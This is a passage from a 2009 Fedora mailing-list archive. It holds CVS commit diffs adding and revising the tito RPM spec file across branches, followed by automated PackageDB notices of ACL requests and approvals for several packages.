- Introduce --output option for destination/tmp directory. (dgoodwin at rm-rf.ca)
- Use tito.props for project specific config filename. (dgoodwin at rm-rf.ca)
- Add multi-project repo tagging tests. (dgoodwin at rm-rf.ca)
- Add support for offline (standalone) git repos. (dgoodwin at rm-rf.ca)
- Fix reports for single project git repos. (dgoodwin at rm-rf.ca)
- Add README documentation. (dgoodwin at rm-rf.ca)

* Wed Jul 22 2009 Devan Goodwin <dgoodwin at rm-rf.ca> 0.0.1-1
- Initial packaging.



Index: sources
===================================================================
RCS file: /cvs/extras/rpms/tito/F-11/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	19 Oct 2009 15:58:51 -0000	1.1
+++ sources	19 Oct 2009 23:50:54 -0000	1.2
@@ -0,0 +1 @@
+ca010a6babe53af4b7a89dead103ac03  tito-0.1.1.tar.gz



From dgoodwin at fedoraproject.org  Mon Oct 19 23:50:55 2009
From: dgoodwin at fedoraproject.org (Devan Goodwin)
Date: Mon, 19 Oct 2009 23:50:55 +0000 (UTC)
Subject: rpms/tito/F-12 tito.spec,NONE,1.1 sources,1.1,1.2
Message-ID: <20091019235055.3212C11C00DC@cvs1.fedora.phx.redhat.com>

Author: dgoodwin

Update of /cvs/extras/rpms/tito/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv9790/F-12

Modified Files:
	sources 
Added Files:
	tito.spec 
Log Message:
Adding EL5, F11 and F12 branches for Tito.



--- NEW FILE tito.spec ---
%{!?python_sitelib: %define python_sitelib %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib()")}

Name: tito
Version: 0.1.1
Release:        1%{?dist}
Summary: A tool for managing rpm based git projects

Group: Development/Tools
License: GPLv2
URL: http://rm-rf.ca/tito
Source0: http://rm-rf.ca/files/tito/tito-%{version}.tar.gz
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildArch: noarch
BuildRequires: python-devel

%description
Tito is a tool for managing tarballs, rpms, and builds for projects using
git.

%prep
%setup -q -n tito-%{version}


%build
%{__python} setup.py build


%install
rm -rf $RPM_BUILD_ROOT
%{__python} setup.py install -O1 --skip-build --root $RPM_BUILD_ROOT
rm -f $RPM_BUILD_ROOT%{python_sitelib}/*egg-info/requires.txt


%clean
rm -rf $RPM_BUILD_ROOT


%files
%defattr(-,root,root,-)
%doc README.mkd
%{_bindir}/tito
%{_bindir}/bump-version.pl
%{_bindir}/tar-fixup-stamp-comment.pl
%{_bindir}/test-setup-specfile.pl
%dir %{python_sitelib}/tito
%{python_sitelib}/tito/*
%{python_sitelib}/tito-*.egg-info


%changelog
* Tue Aug 25 2009 Devan Goodwin <dgoodwin at rm-rf.ca> 0.1.1-1
- Bumping to 0.1.0 for first release. 

* Mon Aug 24 2009 Devan Goodwin <dgoodwin at rm-rf.ca> 0.0.4-1
- Hack to fix import of tagger/builder on Python 2.4. (dgoodwin at rm-rf.ca)

* Thu Aug 06 2009 Devan Goodwin <dgoodwin at rm-rf.ca> 0.0.3-1
- Introduce --output option for destination/tmp directory. (dgoodwin at rm-rf.ca)
- Use tito.props for project specific config filename. (dgoodwin at rm-rf.ca)
- Add multi-project repo tagging tests. (dgoodwin at rm-rf.ca)
- Add support for offline (standalone) git repos. (dgoodwin at rm-rf.ca)
- Fix reports for single project git repos. (dgoodwin at rm-rf.ca)
- Add README documentation. (dgoodwin at rm-rf.ca)

* Wed Jul 22 2009 Devan Goodwin <dgoodwin at rm-rf.ca> 0.0.1-1
- Initial packaging.



Index: sources
===================================================================
RCS file: /cvs/extras/rpms/tito/F-12/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	19 Oct 2009 15:58:51 -0000	1.1
+++ sources	19 Oct 2009 23:50:54 -0000	1.2
@@ -0,0 +1 @@
+ca010a6babe53af4b7a89dead103ac03  tito-0.1.1.tar.gz



From dgoodwin at fedoraproject.org  Tue Oct 20 00:01:38 2009
From: dgoodwin at fedoraproject.org (Devan Goodwin)
Date: Tue, 20 Oct 2009 00:01:38 +0000 (UTC)
Subject: rpms/tito/EL-5 tito.spec,1.1,1.2
Message-ID: <20091020000138.F0E8F11C00DC@cvs1.fedora.phx.redhat.com>

Author: dgoodwin

Update of /cvs/extras/rpms/tito/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv14315/EL-5

Modified Files:
	tito.spec 
Log Message:
Update tito.spec for missed fixes from review.



Index: tito.spec
===================================================================
RCS file: /cvs/extras/rpms/tito/EL-5/tito.spec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- tito.spec	19 Oct 2009 23:50:54 -0000	1.1
+++ tito.spec	20 Oct 2009 00:01:36 -0000	1.2
@@ -2,7 +2,7 @@
 
 Name: tito
 Version: 0.1.1
-Release:        1%{?dist}
+Release:        2%{?dist}
 Summary: A tool for managing rpm based git projects
 
 Group: Development/Tools
@@ -13,6 +13,7 @@ BuildRoot:      %{_tmppath}/%{name}-%{ve
 
 BuildArch: noarch
 BuildRequires: python-devel
+BuildRequires: python-setuptools
 
 %description
 Tito is a tool for managing tarballs, rpms, and builds for projects using
@@ -38,7 +39,7 @@ rm -rf $RPM_BUILD_ROOT
 
 %files
 %defattr(-,root,root,-)
-%doc README.mkd
+%doc README.mkd AUTHORS COPYING
 %{_bindir}/tito
 %{_bindir}/bump-version.pl
 %{_bindir}/tar-fixup-stamp-comment.pl
@@ -49,6 +50,10 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Thu Oct 01 2009 Devan Goodwin <dgoodwin at rm-rf.ca> 0.1.1-2
+- Add AUTHORS and COPYING to doc.
+- Add BuildRequires on python-setuptools.
+
 * Tue Aug 25 2009 Devan Goodwin <dgoodwin at rm-rf.ca> 0.1.1-1
 - Bumping to 0.1.0 for first release. 
 



From dgoodwin at fedoraproject.org  Tue Oct 20 00:01:38 2009
From: dgoodwin at fedoraproject.org (Devan Goodwin)
Date: Tue, 20 Oct 2009 00:01:38 +0000 (UTC)
Subject: rpms/tito/F-11 tito.spec,1.1,1.2
Message-ID: <20091020000139.09DE611C00E5@cvs1.fedora.phx.redhat.com>

Author: dgoodwin

Update of /cvs/extras/rpms/tito/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv14315/F-11

Modified Files:
	tito.spec 
Log Message:
Update tito.spec for missed fixes from review.



Index: tito.spec
===================================================================
RCS file: /cvs/extras/rpms/tito/F-11/tito.spec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- tito.spec	19 Oct 2009 23:50:54 -0000	1.1
+++ tito.spec	20 Oct 2009 00:01:38 -0000	1.2
@@ -2,7 +2,7 @@
 
 Name: tito
 Version: 0.1.1
-Release:        1%{?dist}
+Release:        2%{?dist}
 Summary: A tool for managing rpm based git projects
 
 Group: Development/Tools
@@ -13,6 +13,7 @@ BuildRoot:      %{_tmppath}/%{name}-%{ve
 
 BuildArch: noarch
 BuildRequires: python-devel
+BuildRequires: python-setuptools
 
 %description
 Tito is a tool for managing tarballs, rpms, and builds for projects using
@@ -38,7 +39,7 @@ rm -rf $RPM_BUILD_ROOT
 
 %files
 %defattr(-,root,root,-)
-%doc README.mkd
+%doc README.mkd AUTHORS COPYING
 %{_bindir}/tito
 %{_bindir}/bump-version.pl
 %{_bindir}/tar-fixup-stamp-comment.pl
@@ -49,6 +50,10 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Thu Oct 01 2009 Devan Goodwin <dgoodwin at rm-rf.ca> 0.1.1-2
+- Add AUTHORS and COPYING to doc.
+- Add BuildRequires on python-setuptools.
+
 * Tue Aug 25 2009 Devan Goodwin <dgoodwin at rm-rf.ca> 0.1.1-1
 - Bumping to 0.1.0 for first release. 
 



From dgoodwin at fedoraproject.org  Tue Oct 20 00:01:38 2009
From: dgoodwin at fedoraproject.org (Devan Goodwin)
Date: Tue, 20 Oct 2009 00:01:38 +0000 (UTC)
Subject: rpms/tito/F-12 tito.spec,1.1,1.2
Message-ID: <20091020000139.0E7BA11C029A@cvs1.fedora.phx.redhat.com>

Author: dgoodwin

Update of /cvs/extras/rpms/tito/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv14315/F-12

Modified Files:
	tito.spec 
Log Message:
Update tito.spec for missed fixes from review.



Index: tito.spec
===================================================================
RCS file: /cvs/extras/rpms/tito/F-12/tito.spec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- tito.spec	19 Oct 2009 23:50:55 -0000	1.1
+++ tito.spec	20 Oct 2009 00:01:38 -0000	1.2
@@ -2,7 +2,7 @@
 
 Name: tito
 Version: 0.1.1
-Release:        1%{?dist}
+Release:        2%{?dist}
 Summary: A tool for managing rpm based git projects
 
 Group: Development/Tools
@@ -13,6 +13,7 @@ BuildRoot:      %{_tmppath}/%{name}-%{ve
 
 BuildArch: noarch
 BuildRequires: python-devel
+BuildRequires: python-setuptools
 
 %description
 Tito is a tool for managing tarballs, rpms, and builds for projects using
@@ -38,7 +39,7 @@ rm -rf $RPM_BUILD_ROOT
 
 %files
 %defattr(-,root,root,-)
-%doc README.mkd
+%doc README.mkd AUTHORS COPYING
 %{_bindir}/tito
 %{_bindir}/bump-version.pl
 %{_bindir}/tar-fixup-stamp-comment.pl
@@ -49,6 +50,10 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Thu Oct 01 2009 Devan Goodwin <dgoodwin at rm-rf.ca> 0.1.1-2
+- Add AUTHORS and COPYING to doc.
+- Add BuildRequires on python-setuptools.
+
 * Tue Aug 25 2009 Devan Goodwin <dgoodwin at rm-rf.ca> 0.1.1-1
 - Bumping to 0.1.0 for first release. 
 



From pkgdb at fedoraproject.org  Tue Oct 20 01:03:38 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 01:03:38 +0000
Subject: [pkgdb] perl-Mail-IMAPClient: nb has requested watchbugzilla
Message-ID: <20091020010338.71D2610F880@bastion2.fedora.phx.redhat.com>

nb has requested the watchbugzilla acl on perl-Mail-IMAPClient (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/perl-Mail-IMAPClient



From pkgdb at fedoraproject.org  Tue Oct 20 01:03:41 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 01:03:41 +0000
Subject: [pkgdb] perl-Mail-IMAPClient: nb has requested watchcommits
Message-ID: <20091020010341.E30E010F892@bastion2.fedora.phx.redhat.com>

nb has requested the watchcommits acl on perl-Mail-IMAPClient (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/perl-Mail-IMAPClient



From pkgdb at fedoraproject.org  Tue Oct 20 01:03:45 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 01:03:45 +0000
Subject: [pkgdb] perl-Mail-IMAPClient: nb has requested watchbugzilla
Message-ID: <20091020010345.6AFB210F85A@bastion2.fedora.phx.redhat.com>

nb has requested the watchbugzilla acl on perl-Mail-IMAPClient (Fedora EPEL 4)

To make changes to this package see:
  /pkgdb/packages/name/perl-Mail-IMAPClient



From pkgdb at fedoraproject.org  Tue Oct 20 01:03:47 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 01:03:47 +0000
Subject: [pkgdb] perl-Mail-IMAPClient: nb has requested watchcommits
Message-ID: <20091020010347.C689C10F880@bastion2.fedora.phx.redhat.com>

nb has requested the watchcommits acl on perl-Mail-IMAPClient (Fedora EPEL 4)

To make changes to this package see:
  /pkgdb/packages/name/perl-Mail-IMAPClient



From pkgdb at fedoraproject.org  Tue Oct 20 01:03:52 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 01:03:52 +0000
Subject: [pkgdb] perl-Mail-IMAPClient: nb has requested watchbugzilla
Message-ID: <20091020010352.D1BA710F850@bastion2.fedora.phx.redhat.com>

nb has requested the watchbugzilla acl on perl-Mail-IMAPClient (Fedora EPEL 5)

To make changes to this package see:
  /pkgdb/packages/name/perl-Mail-IMAPClient



From pkgdb at fedoraproject.org  Tue Oct 20 01:03:56 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 01:03:56 +0000
Subject: [pkgdb] perl-Mail-IMAPClient: nb has requested watchcommits
Message-ID: <20091020010356.84C7F10F80D@bastion2.fedora.phx.redhat.com>

nb has requested the watchcommits acl on perl-Mail-IMAPClient (Fedora EPEL 5)

To make changes to this package see:
  /pkgdb/packages/name/perl-Mail-IMAPClient



From pkgdb at fedoraproject.org  Tue Oct 20 01:04:04 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 01:04:04 +0000
Subject: [pkgdb] perl-Mail-IMAPClient: nb has requested watchbugzilla
Message-ID: <20091020010404.6E19C10F85A@bastion2.fedora.phx.redhat.com>

nb has requested the watchbugzilla acl on perl-Mail-IMAPClient (Fedora 10)

To make changes to this package see:
  /pkgdb/packages/name/perl-Mail-IMAPClient



From pkgdb at fedoraproject.org  Tue Oct 20 01:04:06 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 01:04:06 +0000
Subject: [pkgdb] perl-Mail-IMAPClient: nb has requested watchcommits
Message-ID: <20091020010406.2A43C10F87F@bastion2.fedora.phx.redhat.com>

nb has requested the watchcommits acl on perl-Mail-IMAPClient (Fedora 10)

To make changes to this package see:
  /pkgdb/packages/name/perl-Mail-IMAPClient



From pkgdb at fedoraproject.org  Tue Oct 20 01:04:11 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 01:04:11 +0000
Subject: [pkgdb] perl-Mail-IMAPClient: nb has requested watchbugzilla
Message-ID: <20091020010411.297CC10F88F@bastion2.fedora.phx.redhat.com>

nb has requested the watchbugzilla acl on perl-Mail-IMAPClient (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/perl-Mail-IMAPClient



From pkgdb at fedoraproject.org  Tue Oct 20 01:04:13 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 01:04:13 +0000
Subject: [pkgdb] perl-Mail-IMAPClient: nb has requested watchcommits
Message-ID: <20091020010413.5086810F892@bastion2.fedora.phx.redhat.com>

nb has requested the watchcommits acl on perl-Mail-IMAPClient (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/perl-Mail-IMAPClient



From pkgdb at fedoraproject.org  Tue Oct 20 01:04:16 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 01:04:16 +0000
Subject: [pkgdb] perl-Mail-IMAPClient: nb has requested watchbugzilla
Message-ID: <20091020010416.E202910F850@bastion2.fedora.phx.redhat.com>

nb has requested the watchbugzilla acl on perl-Mail-IMAPClient (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/perl-Mail-IMAPClient



From pkgdb at fedoraproject.org  Tue Oct 20 01:04:19 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 01:04:19 +0000
Subject: [pkgdb] perl-Mail-IMAPClient: nb has requested watchcommits
Message-ID: <20091020010419.6DF0610F87F@bastion2.fedora.phx.redhat.com>

nb has requested the watchcommits acl on perl-Mail-IMAPClient (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/perl-Mail-IMAPClient



From pkgdb at fedoraproject.org  Tue Oct 20 01:04:41 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 01:04:41 +0000
Subject: [pkgdb] c-ares: nb has requested watchbugzilla
Message-ID: <20091020010441.3D5F710F87F@bastion2.fedora.phx.redhat.com>

nb has requested the watchbugzilla acl on c-ares (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/c-ares



From pkgdb at fedoraproject.org  Tue Oct 20 01:04:43 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 01:04:43 +0000
Subject: [pkgdb] c-ares: nb has requested watchcommits
Message-ID: <20091020010443.6FDF810F895@bastion2.fedora.phx.redhat.com>

nb has requested the watchcommits acl on c-ares (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/c-ares



From pkgdb at fedoraproject.org  Tue Oct 20 01:04:47 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 01:04:47 +0000
Subject: [pkgdb] c-ares: nb has requested watchbugzilla
Message-ID: <20091020010447.9DDA110F87F@bastion2.fedora.phx.redhat.com>

nb has requested the watchbugzilla acl on c-ares (Fedora EPEL 4)

To make changes to this package see:
  /pkgdb/packages/name/c-ares



From pkgdb at fedoraproject.org  Tue Oct 20 01:04:49 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 01:04:49 +0000
Subject: [pkgdb] c-ares: nb has requested watchcommits
Message-ID: <20091020010449.5669E10F86E@bastion2.fedora.phx.redhat.com>

nb has requested the watchcommits acl on c-ares (Fedora EPEL 4)

To make changes to this package see:
  /pkgdb/packages/name/c-ares



From pkgdb at fedoraproject.org  Tue Oct 20 01:04:54 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 01:04:54 +0000
Subject: [pkgdb] c-ares: nb has requested watchbugzilla
Message-ID: <20091020010454.4799C10F850@bastion2.fedora.phx.redhat.com>

nb has requested the watchbugzilla acl on c-ares (Fedora EPEL 5)

To make changes to this package see:
  /pkgdb/packages/name/c-ares



From pkgdb at fedoraproject.org  Tue Oct 20 01:04:55 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 01:04:55 +0000
Subject: [pkgdb] c-ares: nb has requested watchcommits
Message-ID: <20091020010456.1D64210F87F@bastion2.fedora.phx.redhat.com>

nb has requested the watchcommits acl on c-ares (Fedora EPEL 5)

To make changes to this package see:
  /pkgdb/packages/name/c-ares



From pkgdb at fedoraproject.org  Tue Oct 20 01:05:04 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 01:05:04 +0000
Subject: [pkgdb] c-ares: nb has requested watchbugzilla
Message-ID: <20091020010504.3373210F86E@bastion2.fedora.phx.redhat.com>

nb has requested the watchbugzilla acl on c-ares (Fedora 10)

To make changes to this package see:
  /pkgdb/packages/name/c-ares



From pkgdb at fedoraproject.org  Tue Oct 20 01:05:05 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 01:05:05 +0000
Subject: [pkgdb] c-ares: nb has requested watchcommits
Message-ID: <20091020010505.C8B6A10F880@bastion2.fedora.phx.redhat.com>

nb has requested the watchcommits acl on c-ares (Fedora 10)

To make changes to this package see:
  /pkgdb/packages/name/c-ares



From pkgdb at fedoraproject.org  Tue Oct 20 01:05:12 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 01:05:12 +0000
Subject: [pkgdb] c-ares: nb has requested watchbugzilla
Message-ID: <20091020010512.14DA810F87F@bastion2.fedora.phx.redhat.com>

nb has requested the watchbugzilla acl on c-ares (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/c-ares



From pkgdb at fedoraproject.org  Tue Oct 20 01:05:14 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 01:05:14 +0000
Subject: [pkgdb] c-ares: nb has requested watchcommits
Message-ID: <20091020010514.3A91D10F88F@bastion2.fedora.phx.redhat.com>

nb has requested the watchcommits acl on c-ares (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/c-ares



From pkgdb at fedoraproject.org  Tue Oct 20 01:05:17 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 01:05:17 +0000
Subject: [pkgdb] c-ares: nb has requested watchbugzilla
Message-ID: <20091020010517.996BE10F850@bastion2.fedora.phx.redhat.com>

nb has requested the watchbugzilla acl on c-ares (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/c-ares



From pkgdb at fedoraproject.org  Tue Oct 20 01:05:19 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 01:05:19 +0000
Subject: [pkgdb] c-ares: nb has requested watchcommits
Message-ID: <20091020010519.5D32D10F880@bastion2.fedora.phx.redhat.com>

nb has requested the watchcommits acl on c-ares (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/c-ares



From pkgdb at fedoraproject.org  Tue Oct 20 01:08:49 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 01:08:49 +0000
Subject: [pkgdb] wordpress-mu-plugin-defaults: nb has requested watchbugzilla
Message-ID: <20091020010849.7391D10F80D@bastion2.fedora.phx.redhat.com>

nb has requested the watchbugzilla acl on wordpress-mu-plugin-defaults (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/wordpress-mu-plugin-defaults



From pkgdb at fedoraproject.org  Tue Oct 20 01:08:52 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 01:08:52 +0000
Subject: [pkgdb] wordpress-mu-plugin-defaults: nb has requested watchcommits
Message-ID: <20091020010852.57C3410F85A@bastion2.fedora.phx.redhat.com>

nb has requested the watchcommits acl on wordpress-mu-plugin-defaults (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/wordpress-mu-plugin-defaults



From pkgdb at fedoraproject.org  Tue Oct 20 01:08:55 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 01:08:55 +0000
Subject: [pkgdb] wordpress-mu-plugin-defaults: nb has requested approveacls
Message-ID: <20091020010856.053DF10F87F@bastion2.fedora.phx.redhat.com>

nb has requested the approveacls acl on wordpress-mu-plugin-defaults (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/wordpress-mu-plugin-defaults



From pkgdb at fedoraproject.org  Tue Oct 20 01:08:54 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 01:08:54 +0000
Subject: [pkgdb] wordpress-mu-plugin-defaults: nb has requested commit
Message-ID: <20091020010853.EA87E10F80D@bastion2.fedora.phx.redhat.com>

nb has requested the commit acl on wordpress-mu-plugin-defaults (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/wordpress-mu-plugin-defaults



From pkgdb at fedoraproject.org  Tue Oct 20 01:08:58 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 01:08:58 +0000
Subject: [pkgdb] wordpress-mu-plugin-defaults: nb has requested watchbugzilla
Message-ID: <20091020010858.D5E0910F850@bastion2.fedora.phx.redhat.com>

nb has requested the watchbugzilla acl on wordpress-mu-plugin-defaults (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/wordpress-mu-plugin-defaults



From pkgdb at fedoraproject.org  Tue Oct 20 01:09:01 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 01:09:01 +0000
Subject: [pkgdb] wordpress-mu-plugin-defaults: nb has requested watchcommits
Message-ID: <20091020010901.5707410F85A@bastion2.fedora.phx.redhat.com>

nb has requested the watchcommits acl on wordpress-mu-plugin-defaults (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/wordpress-mu-plugin-defaults



From pkgdb at fedoraproject.org  Tue Oct 20 01:09:02 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 01:09:02 +0000
Subject: [pkgdb] wordpress-mu-plugin-defaults: nb has requested commit
Message-ID: <20091020010902.8AB7410F850@bastion2.fedora.phx.redhat.com>

nb has requested the commit acl on wordpress-mu-plugin-defaults (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/wordpress-mu-plugin-defaults



From pkgdb at fedoraproject.org  Tue Oct 20 01:09:07 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 01:09:07 +0000
Subject: [pkgdb] wordpress-mu-plugin-defaults: nb has requested approveacls
Message-ID: <20091020010907.B389E10F80D@bastion2.fedora.phx.redhat.com>

nb has requested the approveacls acl on wordpress-mu-plugin-defaults (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/wordpress-mu-plugin-defaults



From pkgdb at fedoraproject.org  Tue Oct 20 01:09:22 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 01:09:22 +0000
Subject: [pkgdb] wordpress-mu-plugin-defaults had acl change status
Message-ID: <20091020010922.5881810F87F@bastion2.fedora.phx.redhat.com>

nb has set the watchbugzilla acl on wordpress-mu-plugin-defaults (Fedora devel) to Approved for nb

To make changes to this package see:
  /pkgdb/packages/name/wordpress-mu-plugin-defaults



From pkgdb at fedoraproject.org  Tue Oct 20 01:09:25 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 01:09:25 +0000
Subject: [pkgdb] wordpress-mu-plugin-defaults had acl change status
Message-ID: <20091020010925.34EED10F880@bastion2.fedora.phx.redhat.com>

nb has set the watchcommits acl on wordpress-mu-plugin-defaults (Fedora devel) to Approved for nb

To make changes to this package see:
  /pkgdb/packages/name/wordpress-mu-plugin-defaults



From pkgdb at fedoraproject.org  Tue Oct 20 01:09:27 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 01:09:27 +0000
Subject: [pkgdb] wordpress-mu-plugin-defaults had acl change status
Message-ID: <20091020010927.BBB1B10F87F@bastion2.fedora.phx.redhat.com>

nb has set the commit acl on wordpress-mu-plugin-defaults (Fedora devel) to Approved for nb

To make changes to this package see:
  /pkgdb/packages/name/wordpress-mu-plugin-defaults



From pkgdb at fedoraproject.org  Tue Oct 20 01:09:29 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 01:09:29 +0000
Subject: [pkgdb] wordpress-mu-plugin-defaults had acl change status
Message-ID: <20091020010930.1645F10F850@bastion2.fedora.phx.redhat.com>

nb has set the approveacls acl on wordpress-mu-plugin-defaults (Fedora devel) to Approved for nb

To make changes to this package see:
  /pkgdb/packages/name/wordpress-mu-plugin-defaults



From pkgdb at fedoraproject.org  Tue Oct 20 01:09:34 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 01:09:34 +0000
Subject: [pkgdb] wordpress-mu-plugin-defaults had acl change status
Message-ID: <20091020010934.9BDF010F80D@bastion2.fedora.phx.redhat.com>

nb has set the approveacls acl on wordpress-mu-plugin-defaults (Fedora 11) to Approved for nb

To make changes to this package see:
  /pkgdb/packages/name/wordpress-mu-plugin-defaults



From pkgdb at fedoraproject.org  Tue Oct 20 01:09:36 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 01:09:36 +0000
Subject: [pkgdb] wordpress-mu-plugin-defaults had acl change status
Message-ID: <20091020010936.C9E6A10F85A@bastion2.fedora.phx.redhat.com>

nb has set the commit acl on wordpress-mu-plugin-defaults (Fedora 11) to Approved for nb

To make changes to this package see:
  /pkgdb/packages/name/wordpress-mu-plugin-defaults



From pkgdb at fedoraproject.org  Tue Oct 20 01:09:39 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 01:09:39 +0000
Subject: [pkgdb] wordpress-mu-plugin-defaults had acl change status
Message-ID: <20091020010939.30D9810F86E@bastion2.fedora.phx.redhat.com>

nb has set the watchcommits acl on wordpress-mu-plugin-defaults (Fedora 11) to Approved for nb

To make changes to this package see:
  /pkgdb/packages/name/wordpress-mu-plugin-defaults



From pkgdb at fedoraproject.org  Tue Oct 20 01:09:42 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 01:09:42 +0000
Subject: [pkgdb] wordpress-mu-plugin-defaults had acl change status
Message-ID: <20091020010942.6A0F710F850@bastion2.fedora.phx.redhat.com>

nb has set the watchbugzilla acl on wordpress-mu-plugin-defaults (Fedora 11) to Approved for nb

To make changes to this package see:
  /pkgdb/packages/name/wordpress-mu-plugin-defaults



From pkgdb at fedoraproject.org  Tue Oct 20 01:09:46 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 01:09:46 +0000
Subject: [pkgdb] wordpress-mu-plugin-defaults: nb has requested watchbugzilla
Message-ID: <20091020010946.71A8E10F80D@bastion2.fedora.phx.redhat.com>

nb has requested the watchbugzilla acl on wordpress-mu-plugin-defaults (Fedora 10)

To make changes to this package see:
  /pkgdb/packages/name/wordpress-mu-plugin-defaults



From pkgdb at fedoraproject.org  Tue Oct 20 01:09:48 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 01:09:48 +0000
Subject: [pkgdb] wordpress-mu-plugin-defaults: nb has requested watchcommits
Message-ID: <20091020010948.82B9110F85A@bastion2.fedora.phx.redhat.com>

nb has requested the watchcommits acl on wordpress-mu-plugin-defaults (Fedora 10)

To make changes to this package see:
  /pkgdb/packages/name/wordpress-mu-plugin-defaults



From pkgdb at fedoraproject.org  Tue Oct 20 01:09:50 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 01:09:50 +0000
Subject: [pkgdb] wordpress-mu-plugin-defaults: nb has requested commit
Message-ID: <20091020010949.E7FC210F87F@bastion2.fedora.phx.redhat.com>

nb has requested the commit acl on wordpress-mu-plugin-defaults (Fedora 10)

